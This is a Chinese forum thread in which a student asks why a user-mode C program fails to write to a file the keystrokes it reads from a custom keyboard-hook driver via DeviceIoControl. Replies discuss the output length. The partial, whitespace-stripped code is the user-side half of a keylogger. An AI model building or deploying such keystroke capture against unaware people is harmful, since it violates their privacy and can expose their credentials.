键盘驱动deviceIoControl应用层无法将字符串写入文件

[复制链接]
查看11 | 回复2 | 2021-1-27 06:30:17 | 显示全部楼层 |阅读模式
各位大神,小弟小学期,遇到了一个比较奇怪的问题,就是我们做了一个键盘驱动,就是通过IOCTL实现内核层和应用层内存共享,再由应用层读出数据并作处理,但是,昨天已经实现了DeviceIoControl的数据传到应用层,并通过应用层的程序实现的一个循环等待线程,在命令行已经成功通过printf读出了数据。但是我在printf下面尝试使用fprintf把他读入文件的时候,就出现了问题,文件的大小根本没有变化,一直都是读不进去数据,应用层程序如下所示:
#include
#include
#include

#include
#include"Ioctls.h"
intmain()
{FILE*file;
inti=0;
intj;
CHARReceiveBuffer[100];
HANDLEhDevice=
CreateFile("\\\\.\\sbKlog",
GENERIC_READ|GENERIC_WRITE,
0,//sharemodenone
NULL,//nosecurity
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);//notemplate);
if(hDevice==INVALID_HANDLE_VALUE)
{
printf("Failedtoobtainfilehandletodevice:"
"%swithWin32errorcode:%d\n",
"MyWDMDevice",GetLastError());
return1;
}
if(!(file=fopen("klog.txt","w"))){
printf("error");
exit(0);
}
while(1){
CHARc[]="sb";
UCHAROutputBuffer[10];
UCHARInputBuffer[10];
DWORDdwOutput;
UCHARresult_1[]="false";
UCHARresult_2[]="invalid";
UCHARresult_3[]="";
UCHAR*result;
BOOLbRet=false;
BOOLprint=false;

bRet=DeviceIoControl(hDevice,
IOCTL_KEYBOARDHOOK,
InputBuffer,
3,
&OutputBuffer,
3,
&dwOutput,
NULL);
if(bRet)
{
if(!strcmp((constchar*)OutputBuffer,(constchar*)result_1)){print=false;}
elseif(!strcmp((constchar*)OutputBuffer,(constchar*)result_2)){print=false;}
elseif(!strcmp((constchar*)OutputBuffer,(constchar*)result_3)){print=false;}
else
{
print=true;
printf("Outputbuffer:%dbytes\n",dwOutput);
//memcpy(c,OutputBuffer,10);
printf("%s\n",OutputBuffer);
//fprintf(file,"%s","123");

}
if(print==true){
for(i=0;i -->
回复

使用道具 举报

千问 | 2021-1-27 06:30:17 | 显示全部楼层
printf("Outputbuffer:%dbytes\n",dwOutput);
打印结果是什么?dwOutput值是什么?
把执行结果/打印信息贴出来看一下,大家才好理解你的执行结果.
回复

使用道具 举报

千问 | 2021-1-27 06:30:17 | 显示全部楼层
我已经解决了,跟你说一下吧,就是dwOutput是内核层传到共享内存里面的数据的大小,就像我这里按一下键盘,那么dwOutput就是按下的字符的长度,
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题

0

回帖

4882万

积分

论坛元老

Rank: 8Rank: 8

积分
48824836
热门排行